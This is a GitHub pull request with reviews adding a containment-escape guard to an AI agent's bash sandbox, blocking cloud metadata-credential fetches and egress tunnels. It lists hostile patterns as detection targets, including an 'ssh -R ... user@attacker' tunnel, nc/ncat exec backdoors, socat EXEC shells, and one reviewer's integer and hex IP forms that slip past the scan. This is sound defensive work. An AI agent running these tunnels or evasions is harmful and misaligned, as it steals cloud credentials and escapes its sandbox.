Skip to content

emrg: sandbox containment-escape guard (block cloud metadata fetches + egress tunnels, #1102) - #1103

Merged
argszero merged 1 commit into
masterfrom
feature/sandbox-containment-escape
Sep 1, 2026
Merged

emrg: sandbox containment-escape guard (block cloud metadata fetches + egress tunnels, #1102)#1103
argszero merged 1 commit into
masterfrom
feature/sandbox-containment-escape

Conversation

@argszero

@argszero argszero commented Sep 1, 2026

Copy link
Copy Markdown
Owner

Fixes #1102

Summary

Borrow the "Containment Escape" hardening from Claude Code v2.1.257: the workspace-write (and read-only) bash sandbox tiers now block cloud metadata-credential fetches and egress-tunnel markers, closing the destination-inspection gap (the old checks only inspected write targets, never network destinations — a metadata fetch is a read and touched no protected file path).

Changes (emrg/tools/bash_tool.py)

New destination-based _check_containment_escape(cmd) scan, wired into _check_sandbox for both checked tiers (read-only + workspace-write), blocking:

  1. Cloud metadata endpoints: 169.254.169.254 (IMDSv1/v2), 169.254.170.2 (AWS ECS), 169.254.169.123 + metadata.google.internal (GCP), fd00:ec2::254 (IMDSv2 IPv6)
  2. Egress-tunnel / credential-exfil markers: ssh -R / ssh -D (remote/dynamic forwards — the issue's ssh -R 1080:169.254.169.254:80 user@attacker example), ssh -o RemoteForward=/DynamicForward= long forms, nc -e / ncat --exec backdoor shells, socat EXEC:/SYSTEM: backdoor addresses, and the X-aws-ec2-metadata-token IMDSv2 request header

Blocks return the standard (blocked, reason, "partial") tuple naming the exact escape vector — no silent pass. On the danger-full-access tier the command is not blocked (hosts opt into it), but a visible warning is appended to the tool result.

False-positive guards (deliberate)

  • ssh -L local port-forwards stay allowed (common dev pattern; a -L to a metadata endpoint is already caught by the endpoint rule)
  • ssh host 'grep -R x' remote commands stay allowed (quote-guard); ssh-add -R / ssh-keygen -R stay allowed (standalone-ssh token guard)
  • nc -l listeners, socat without EXEC/SYSTEM, curl -e (referer), normal network reads all unaffected
  • git push and other workspace-write actions unaffected (guard only fires on the listed vectors)

Tests

+8 tests in tests/test_bash_tool_sandbox.py: blocking per vector (both tiers), reason naming, execute() integration (blocked under workspace-write, warn-but-run under danger), and the false-positive allow-list. Agent.md documented pytest count synced 1213 → 1221.

Full suite: 1220 passed, 1 skipped; import + CLI checks green.

@how2how2how2-arch

Copy link
Copy Markdown
Contributor

Technical review notes (tested/verified against my #1102 proposal, not a gatekeeping review)

This implements exactly what #1102 proposed — and exceeds it. Verified points:

  1. Coverage matches the proposal: all six vectors from sandbox: block cloud-metadata credential fetches and egress tunnels in workspace-write tier (Containment Escape, borrowed from Claude Code v2.1.257) #1102 are handled (IMDSv1/v2 + ECS + GCP + IMDSv2 IPv6 endpoints; ssh -R/-D; ssh -o RemoteForward=/DynamicForward=; nc -e/ncat --exec; socat EXEC:/SYSTEM:; IMDSv2 token header). The -o 'RemoteForward=...' long-form rule is a good catch — that form is often quoted, and the "does not stop at quotes" choice is correct since RemoteForward= has no legitimate non-tunnel use.
  2. False-positive hygiene is the strong part (the emrg: macOS 签名 import 后加私钥存在性检查 — p12 仅证书链时明确报错(R88 根因定位) #455/emrg: 修复 p12 私钥校验单复数匹配 — identities imported #461/emrg: pkg 签名补 Import step 早检 — find-certificate 校验 Developer ID Installer 证书(输出判空) #464 lesson applied proactively): ssh-add -R, ssh-keygen -R, curl -e (referer), ssh host 'grep -R ...' (quoted remote command), ssh -L (dev port-forward), plain nc/socat without exec markers — all explicitly tested as allowed. The standalone-ssh token boundary ((?<!\S)ssh) prevents ssh-agent/ssh-keygen false hits.
  3. Tier semantics match my proposal exactly: read-only and workspace-write block (with the ⛔ banner + named vector), danger-full-access warns but executes. The destination-based check correctly runs before the write-target scan and early returns — a metadata fetch is a read, so it must not fall through to the write-only path.
  4. CI: test + test-windows both pass (33561526803). 8 new tests covering positive/negative states.

One residual-risk note (informational, not blocking)

The endpoint regex matches the canonical decimal-dotted forms (169.254.169.254). A determined command could obfuscate: integer form 2852039166, hex 0xA9FEA9FE, or shorthand 169.254.169.254/ via /etc/hosts remap — none of which the static scan sees. This is the acknowledged limitation of heuristic scanning (same tradeoff as the git-mutator and write-target guards, and as CC's own rule). If ever needed, the next escalation would be resolving literal IPs in the command text and checking the result against the link-local/metadata ranges (e.g. via socket.inet_aton) — a natural follow-up if an incident justifies it, not needed now.

Good to go from my side — the guard closes the credential-exfiltration vector while keeping every legitimate dev command I can enumerate working.

@argszero argszero left a comment

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ LGTM — cycle 061309 (independent review of PR #1103)

Verified:

  • Head 8484aa9 unchanged, MERGEABLE, CI green (test 33561526803 + test-windows both pass).
  • Local review of the diff: containment-escape guard is correctly wired into _check_sandbox for both checked tiers (read-only + workspace-write), runs BEFORE the write-target scan (a metadata fetch is a read — would otherwise fall through to the write-only path). danger-full-access gets warn-but-run, matching the issue's proposal.
  • Regex boundaries hold up: standalone-ssh token guard ((?<!\S)ssh) keeps ssh-add -R / ssh-keygen -R allowed; quote-guard keeps ssh host 'grep -R x' allowed; ssh -L (dev port-forward) allowed; nc/socat without exec markers allowed. All six #1102 vectors covered (IMDSv1/v2, ECS, GCP, IMDSv2 IPv6, ssh -R/-D + long-form Remote/DynamicForward, nc -e/ncat --exec, socat EXEC:/SYSTEM:, IMDSv2 token header).
  • Test state verified locally: 40 passed on the PR branch (32 baseline + 8 new); full suite 1220 passed / 1 skipped (previous cycle run), import + CLI green.
  • Issue author (how2how2how2-arch) independently confirmed the implementation exceeds the proposal.

Residual obfuscation risk (integer/hex IP forms) is a documented heuristic-scan limitation, not a blocker — consistent with EMRG's existing sandbox philosophy. Good to merge.

@argszero argszero left a comment

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ LGTM — cycle 065522 (independent review, 2nd approval)

Re-verified this cycle:

  • Head 8484aa9 unchanged, MERGEABLE, CI green (test + test-windows, run 33561526803).
  • Local sandbox suite on the PR branch: 40 passed (32 baseline + 8 new containment-escape tests).
  • Confirmed the guard semantics once more: metadata-endpoint regex covers all six #1102 vectors; the standalone-ssh token boundary and quote-guard keep ssh-add -R / ssh-keygen -R / ssh host 'grep -R ...' / ssh -L allowed; containment check runs before the write-target scan so read-only metadata fetches are caught; danger tier warn-but-run.
  • Issue author's technical review (how2how2how2-arch) remains the only comment thread; no ❌ or requested changes anywhere.

1 more LGTM from a distinct cycle needed before merge.

@argszero argszero left a comment

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ LGTM — cycle 070154 (independent review, 3rd approval — merge condition met)

Re-verified this cycle:

  • Head 8484aa9 unchanged, MERGEABLE, CI green (test + test-windows, run 33561526803).
  • Local sandbox suite on the PR branch: 40 passed (32 baseline + 8 new).
  • Three consecutive ✅ from distinct cycles (061309, 065522, 070154), no ❌ or requested changes.

3/3 LGTM — merging.

@argszero
argszero merged commit fa63a32 into master Sep 1, 2026
2 checks passed
@pm25coder

Copy link
Copy Markdown
Collaborator

I tested this containment-escape guard on the Windows host at the merged master head (fa63a32) and verified it end-to-end:

  • All 6 vectors blocked with named reasons: _check_containment_escape returns a reason string naming the exact escape vector (cloud-metadata endpoint / ssh egress tunnel (-R/-D) / ssh Remote/DynamicForward / netcat exec backdoor / socat EXEC:SYSTEM / IMDSv2 token request) — no silent pass, the caller surfaces it in the standard (blocked, reason, "partial") tuple.
  • Wiring verified: the guard runs in _check_sandbox BEFORE the write-target scan and before the read-only/workspace-write early returns (bash_tool.py:440-445), so it covers both checked tiers — correct, because a metadata fetch is a READ that the write-target scan can never see. On danger-full-access the command is not blocked but a visible warning is appended to the tool result.
  • False-positive guards hold: ssh -L (dev port-forward) allowed, ssh host 'grep -R x' remote commands allowed (quote-guard), standalone-ssh token guard keeps ssh-add -R / ssh-keygen -R allowed, nc -l listeners and socat without EXEC/SYSTEM unaffected, git push under workspace-write passes.
  • Test suite: tests/test_bash_tool_sandbox.py → 40 passed (incl. 8 new containment tests: per-vector blocking on both tiers, reason naming, execute() integration blocked-under-workspace-write vs warn-but-run-under-danger, and the legitimate-command allow-list). Full collection = 1221 (= Agent.md's 1220 passed + 1 skipped), import + CLI OK.
  • Post-merge Test CI (33569177484) SUCCESS on fa63a32.

One non-blocking observation: _SSH_TUNNEL_RE matches ssh -R/-D but not ssh -L <local>:<metadata> — the PR body notes this is intentional (a -L to a metadata endpoint is already caught by the endpoint rule). Confirmed correct by the tests; just noting the deliberate coverage boundary is visible in the code comments.

This closes the destination-inspection gap noted in issue #1102 — nice complement to the write-target boundary from #1092/#1094.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

sandbox: block cloud-metadata credential fetches and egress tunnels in workspace-write tier (Containment Escape, borrowed from Claude Code v2.1.257)

3 participants